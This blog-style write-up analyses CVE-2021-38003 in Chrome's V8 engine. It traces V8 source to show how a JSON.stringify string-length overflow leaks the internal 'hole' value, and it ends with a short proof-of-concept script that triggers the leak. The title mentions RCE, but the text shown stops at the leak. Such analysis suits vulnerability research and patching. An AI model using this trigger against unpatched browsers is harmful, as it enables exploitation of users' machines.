CVE-2021-38003 The Hole Leak to RCE

Posted on Mar 30, 2024

CVE-2021-38003 | The Hole Leak to RCE

Type Of VulnerabilityThe Hole Leak
Security SeverityHigh
Effected ComponentsJavascript, Turbofan
Issue Sourcehttps://issues.chromium.org/issues/40057710
Writeup Source(s)None
Tested VersionGoogle Chrome 95.0.4638.54 (Official Build) (x86_64)
Vulnerable commita4252db3228433fed5c2bdb0fdff9a6b7b638f3b

Deep Dive Into Vulnerability

[1] The vulnerability arises as V8 attempts to handle exceptions in JSON.stringify(). If a exception appears in the built-in function, pending_exception_ is set by the Isolate::set_pending_exception() method. The calling code then moves to the V8 exception handling mechanism, where the Isolate::pending_exception() member is fetched from the active isolate and the currently active JavaScript exception handler is invoked using it.

[2] Here, the saved pending_exception_ is accessed by Isolate::pending_exception()

Exception Handling in JSON.stringify()

The vulnerability happens when V8 tries to handle the exception in JSON.stringify() .

/* v8/src/builtins/builtins-json.cc */

// ES6 section 24.3.2 JSON.stringify.
BUILTIN(JsonStringify) {
  HandleScope scope(isolate);
  Handle<Object> object = args.atOrUndefined(isolate, 1);
  Handle<Object> replacer = args.atOrUndefined(isolate, 2);
  Handle<Object> indent = args.atOrUndefined(isolate, 3);
  RETURN_RESULT_OR_FAILURE(isolate,
                           JsonStringify(isolate, object, replacer, indent));
 }

After placing all arguments into JsonStringify and itself as argument of RETURN_RESULT_OR_FAILURE , RETURN_RESULT_OR_FAILURE calls which is main purpose is return result and check exceptions, if exception occurs arise it, otherwise return __result__ .

/* v8/src/execution/isolate.h */

#define RETURN_RESULT_OR_FAILURE(isolate, call)      
  do {                                               
    Handle<Object> __result__;                       
    Isolate* __isolate__ = (isolate);                
    if (!(call).ToHandle(&__result__)) {             
      DCHECK(__isolate__->has_pending_exception());  
      return ReadOnlyRoots(__isolate__).exception(); 
    }                                                
    DCHECK(!__isolate__->has_pending_exception());   
    return *__result__;                              
  } while (false) 

Above code,call as the second paramentr of RETURN_RESULT_OR_FAILURE function calls JsonStringify() function.

/* v8/src/json/json-stringifier.cc */
MaybeHandle<Object> JsonStringify(Isolate* isolate, Handle<Object> object,
                                  Handle<Object> replacer, Handle<Object> gap) {
  JsonStringifier stringifier(isolate);
  return stringifier.Stringify(object, replacer, gap);
}

Here, a JsonStringifier object is created using the isolate pointer. This suggests that JsonStringifier is a class, and stringifier is an instance of that class.

This calls the Stringify method of the stringifier object, passing in the object, replacer, and gap parameters.

/* v8/src/json/json-stringifier.cc */
MaybeHandle<Object> JsonStringifier::Stringify(Handle<Object> object,
                                               Handle<Object> replacer,
                                               Handle<Object> gap) {
  if (!InitializeReplacer(replacer)) return MaybeHandle<Object>();
  if (!gap->IsUndefined(isolate_) && !InitializeGap(gap)) {
    return MaybeHandle<Object>();
  }
  Result result = SerializeObject(object);
  if (result == UNCHANGED) return factory()->undefined_value();
  if (result == SUCCESS) return builder_.Finish();
  DCHECK(result == EXCEPTION);
  return MaybeHandle<Object>();
}

Stringify method has three possible results, they are UNCHANGED , SUCCESS , and EXCEPTION .

/* v8/src/json/json-stringifier.cc */
enum Result { UNCHANGED, SUCCESS, EXCEPTION };

And SerializeObject() returns as result one of them.

/* v8/src/json/json-stringifier.cc */
  
// Entry point to serialize the object.
  V8_INLINE Result SerializeObject(Handle<Object> obj) {
    return Serialize_<false>(obj, false, factory()->empty_string());
  }

It calls Serialize_() . And then in turn Serialize_()will return one of the above results.

// v8/src/json/json-stringifier.cc

JsonStringifier::Result JsonStringifier::Serialize_(Handle<Object> object, 
																				   bool comma, Handle<Object> key) {
  StackLimitCheck interrupt_check(isolate_);
  Handle<Object> initial_value = object;
  if (interrupt_check.InterruptRequested() &&
      isolate_->stack_guard()->HandleInterrupts().IsException(isolate_)) {
    return EXCEPTION;
  }
  if (object->IsJSReceiver() || object->IsBigInt()) {
    ASSIGN_RETURN_ON_EXCEPTION_VALUE(
        isolate_, object, ApplyToJsonFunction(object, key), EXCEPTION);
  }
  if (!replacer_function_.is_null()) {
    ASSIGN_RETURN_ON_EXCEPTION_VALUE(
        isolate_, object, ApplyReplacerFunction(object, key, initial_value),
        EXCEPTION);
  }

  if (object->IsSmi()) {
    if (deferred_string_key) SerializeDeferredKey(comma, key);
    return SerializeSmi(Smi::cast(*object));
  }

  switch (HeapObject::cast(*object).map().instance_type()) {
    case HEAP_NUMBER_TYPE:
      if (deferred_string_key) SerializeDeferredKey(comma, key);
      return SerializeHeapNumber(Handle<HeapNumber>::cast(object));
    case BIGINT_TYPE:
      isolate_->Throw(
          *factory()->NewTypeError(MessageTemplate::kBigIntSerializeJSON));
      return EXCEPTION;
    case ODDBALL_TYPE:
      switch (Oddball::cast(*object).kind()) {
        case Oddball::kFalse:
          if (deferred_string_key) SerializeDeferredKey(comma, key);
          builder_.AppendCString("false");
          return SUCCESS;
        case Oddball::kTrue:
          if (deferred_string_key) SerializeDeferredKey(comma, key);
          builder_.AppendCString("true");
          return SUCCESS;
        case Oddball::kNull:
          if (deferred_string_key) SerializeDeferredKey(comma, key);
          builder_.AppendCString("null");
          return SUCCESS;
        default:
          return UNCHANGED;
      }
    case JS_ARRAY_TYPE:
      if (deferred_string_key) SerializeDeferredKey(comma, key);
      return SerializeJSArray(Handle<JSArray>::cast(object), key);
    case JS_PRIMITIVE_WRAPPER_TYPE:
      if (deferred_string_key) SerializeDeferredKey(comma, key);
      return SerializeJSPrimitiveWrapper(
          Handle<JSPrimitiveWrapper>::cast(object), key);
    case SYMBOL_TYPE:
      return UNCHANGED;
    default:
     if (object->IsString()) {
        if (deferred_string_key) SerializeDeferredKey(comma, key);
        SerializeString(Handle<String>::cast(object));
        return SUCCESS;
      } else {
        DCHECK(object->IsJSReceiver());
        if (object->IsCallable()) return UNCHANGED;
        // Go to slow path for global proxy and objects requiring access checks.
        if (deferred_string_key) SerializeDeferredKey(comma, key);
        if (object->IsJSProxy()) {
          return SerializeJSProxy(Handle<JSProxy>::cast(object), key);
        }
        return SerializeJSObject(Handle<JSObject>::cast(object), key);
      }
  }

  UNREACHABLE();
}

When execution comes to the case JS_ARRAY_TYPE within the Serialize_ method of the JsonStringifier class, it enters to SerializeJSArray and begins serialize process of array.

Here,   If you look for return EXCEPTION in JsonStringifier::Serialize_() , it returns right before Throw() , Throw() internally  calls set_pending_exception() to store the exception in  the pending_exception_ field.

1.    isolate_->Throw(
        *factory()->NewTypeError(MessageTemplate::kBigIntSerializeJSON));
    return EXCEPTION;
    ----------------------------------------------------------------------------
    
    
2.   Object Throw(Object exception) { return ThrowInternal(exception, nullptr); }
    ----------------------------------------------------------------------------
    
    
3. Object Isolate::ThrowInternal(Object raw_exception, MessageLocation* location) {
...
  // Set the exception being thrown.
  set_pending_exception(*exception);
  return ReadOnlyRoots(heap()).exception();
} 
    ----------------------------------------------------------------------------

But there is exception which is returning EXCEPTION without turning into Throw() method. It is in

SerializeArrayLikeSlow()

/* v8/src/json/json-stringifier.cc */

JsonStringifier::Result JsonStringifier::SerializeJSArray(
    Handle<JSArray> object, Handle<Object> key) {
  HandleScope handle_scope(isolate_);
  Result stack_push = StackPush(object, key);
  if (stack_push != SUCCESS) return stack_push;
  uint32_t length = 0;
  CHECK(object->length().ToArrayLength(&length));
  DCHECK(!object->IsAccessCheckNeeded());
  builder_.AppendCharacter('[');
  Indent();
  uint32_t i = 0;
  if (replacer_function_.is_null()) {
    switch (object->GetElementsKind()) {
      case PACKED_SMI_ELEMENTS: {
        Handle<FixedArray> elements(FixedArray::cast(object->elements()),
                                    isolate_);
        StackLimitCheck interrupt_check(isolate_);
        while (i < length) {
          if (interrupt_check.InterruptRequested() &&
              isolate_->stack_guard()->HandleInterrupts().IsException(
                  isolate_)) {
            return EXCEPTION;
          }
          Separator(i == 0);
          SerializeSmi(Smi::cast(elements->get(i)));
          i++;
        }
        break;
      }
      case PACKED_DOUBLE_ELEMENTS: {
        // Empty array is FixedArray but not FixedDoubleArray.
        if (length == 0) break;
        Handle<FixedDoubleArray> elements(
            FixedDoubleArray::cast(object->elements()), isolate_);
        StackLimitCheck interrupt_check(isolate_);
        while (i < length) {
          if (interrupt_check.InterruptRequested() &&
              isolate_->stack_guard()->HandleInterrupts().IsException(
                  isolate_)) {
            return EXCEPTION;
          }
          Separator(i == 0);
          SerializeDouble(elements->get_scalar(i));
          i++;
        }
        break;
      }
      case PACKED_ELEMENTS: {
        Handle<Object> old_length(object->length(), isolate_);
        while (i < length) {
          if (object->length() != *old_length ||
              object->GetElementsKind() != PACKED_ELEMENTS) {
            // Fall back to slow path.
            break;
          }
          Separator(i == 0);
          Result result = SerializeElement(
              isolate_,
              Handle<Object>(FixedArray::cast(object->elements()).get(i),
                             isolate_),
              i);
          if (result == UNCHANGED) {
            builder_.AppendCString("null");
          } else if (result != SUCCESS) {
            return result;
          }
          i++;
        }
        break;
      }
      // The FAST_HOLEY_* cases could be handled in a faster way. They resemble
      // the non-holey cases except that a lookup is necessary for holes.
      default:
        break;
    }
  }
  if (i < length) {
    // Slow path for non-fast elements and fall-back in edge case.
    Result result = SerializeArrayLikeSlow(object, i, length);
    if (result != SUCCESS) return result;
  }
  Unindent();
  if (length > 0) NewLine();
  builder_.AppendCharacter(']');
  StackPop();
  return SUCCESS;
}
/* v8/src/json/json-stringifier.cc */

JsonStringifier::Result JsonStringifier::SerializeArrayLikeSlow(
    Handle<JSReceiver> object, uint32_t start, uint32_t length) {
...
  for (uint32_t i = start; i < length; i++) {
...
    Result result = SerializeElement(isolate_, element, i);
    if (result == SUCCESS) continue;
    if (result == UNCHANGED) {
      // Detect overflow sooner for large sparse arrays.
      if (builder_.HasOverflowed()) return EXCEPTION;
      builder_.AppendCString("null");
    } else {
      return result;
    }
  }
  return SUCCESS;
}

In SerializeArrayLikeSlow() , serialization is performed by inserting the elements of the array passed as arguments one by one into SerializeElement(). During this process, if the length of the serialized string  exceeds String::kMaxLength, the  overflowed_ flag  is set to true.

/* v8/include/v8-primitive.h */

class V8_EXPORT String : public Name {
 public:
  static constexpr int kMaxLength =
      internal::kApiSystemPointerSize == 4 ? (1 << 28) - 16 : (1 << 29) - 24;

If the return value of SerializeElement() is UNCHANGED , HasOverflowed() is called and the value of overflowed_ is checked to check whether overflow has occurred. If overflow has occurred, SerializeArrayLikeSlow() immediately returns EXCEPTION. The only routine that sets overflowed_ to true is in IncrementalStringBuilder::Accumulate().

/* v8/src/strings/string-builder.cc */

void IncrementalStringBuilder::Accumulate(Handle<String> new_part) {
  Handle<String> new_accumulator;
  if (accumulator()->length() + new_part->length() > String::kMaxLength) {
    // Set the flag and carry on. Delay throwing the exception till the end.
    new_accumulator = factory()->empty_string();
    overflowed_ = true;
  } else {
    new_accumulator =
        factory()->NewConsString(accumulator(), new_part).ToHandleChecked();
  }
  set_accumulator(new_accumulator);
}

If the result of adding the length of the existing string and the length of the new string to be added is greater than String::kMaxLength, overflowed_ is set to true and the string is initialized with empty_string(). Accumulate() is called from Extend() and Finish() .

/* v8/src/strings/string-builder.cc */

void IncrementalStringBuilder::Extend() {
  DCHECK_EQ(current_index_, current_part()->length());
  Accumulate(current_part());
  if (part_length_ <= kMaxPartLength / kPartLengthGrowthFactor) {
    part_length_ *= kPartLengthGrowthFactor;
  }
  Handle<String> new_part;
  if (encoding_ == String::ONE_BYTE_ENCODING) {
    new_part = factory()->NewRawOneByteString(part_length_).ToHandleChecked();
  } else {
    new_part = factory()->NewRawTwoByteString(part_length_).ToHandleChecked();
  }
  // Reuse the same handle to avoid being invalidated when exiting handle scope.
  set_current_part(new_part);
  current_index_ = 0;
}

MaybeHandle<String> IncrementalStringBuilder::Finish() {
  ShrinkCurrentPart();
  Accumulate(current_part());
  if (overflowed_) {
    THROW_NEW_ERROR(isolate_, NewInvalidStringLengthError(), String);
  }
  return accumulator();
}

If the string is too long, the process of dividing it into several parts and concatenating them is repeated, and  Extend() is called in the process.  Finish() is called when all elements are processed and serialization is completed.  Finish() generates an error if  overflowed_ is true, but Extend() does not have a routine to handle overflow. Therefore, causing an overflow before Finish() is called, that is, before serialization is complete, and causing the return value of SerializeElement() to be UNCHANGED can cause a bug.     

/* v8/src/json/json-stringifier.cc */

  V8_INLINE Result SerializeElement(Isolate* isolate, Handle<Object> object,
                                    int i) {
    return Serialize_<false>(object, false,
                             Handle<Object>(Smi::FromInt(i), isolate));
  }
/* v8/src/json/json-stringifier.cc */

template <bool deferred_string_key>
JsonStringifier::Result JsonStringifier::Serialize_(Handle<Object> object,
                                                    bool comma,
                                                    Handle<Object> key) {
...
  switch (HeapObject::cast(*object).map().instance_type()) {
...
    case ODDBALL_TYPE:
      switch (Oddball::cast(*object).kind()) {
        case Oddball::kFalse:
          if (deferred_string_key) SerializeDeferredKey(comma, key);
          builder_.AppendCString("false");
          return SUCCESS;
        case Oddball::kTrue:
          if (deferred_string_key) SerializeDeferredKey(comma, key);
          builder_.AppendCString("true");
          return SUCCESS;
        case Oddball::kNull:
          if (deferred_string_key) SerializeDeferredKey(comma, key);
          builder_.AppendCString("null");
          return SUCCESS;
        default:
          return UNCHANGED;
      }
...
}

If the element’s type is ODDBALL_TYPE other than  Oddball::kFalse,  Oddball::kTrue, or Oddball  ::kNull, SerializeElement() returns UNCHANGED.   

/* v8/src/objects/oddball.h */

// The Oddball describes objects null, undefined, true, and false.
class Oddball : public TorqueGeneratedOddball<Oddball, PrimitiveHeapObject> {
...
  static const byte kFalse = 0;
  static const byte kTrue = 1;
  static const byte kNotBooleanMask = static_cast<byte>(~1);
  static const byte kTheHole = 2;
  static const byte kNull = 3;
  static const byte kArgumentsMarker = 4;
  static const byte kUndefined = 5;
  static const byte kUninitialized = 6;
  static const byte kOther = 7;
  static const byte kException = 8;
  static const byte kOptimizedOut = 9;
  static const byte kStaleRegister = 10;
  static const byte kSelfReferenceMarker = 10;
  static const byte kBasicBlockCountersMarker = 11;

POC

/* poc.js */

let hole;
let a = ['a'.repeat(1 << 28), 'b'.repeat(1 << 28), 'c'.repeat(0x10000), , 'd'];

try {
    JSON.stringify(a);
} catch (e) {
    hole = e;
}

% DebugPrint(hole);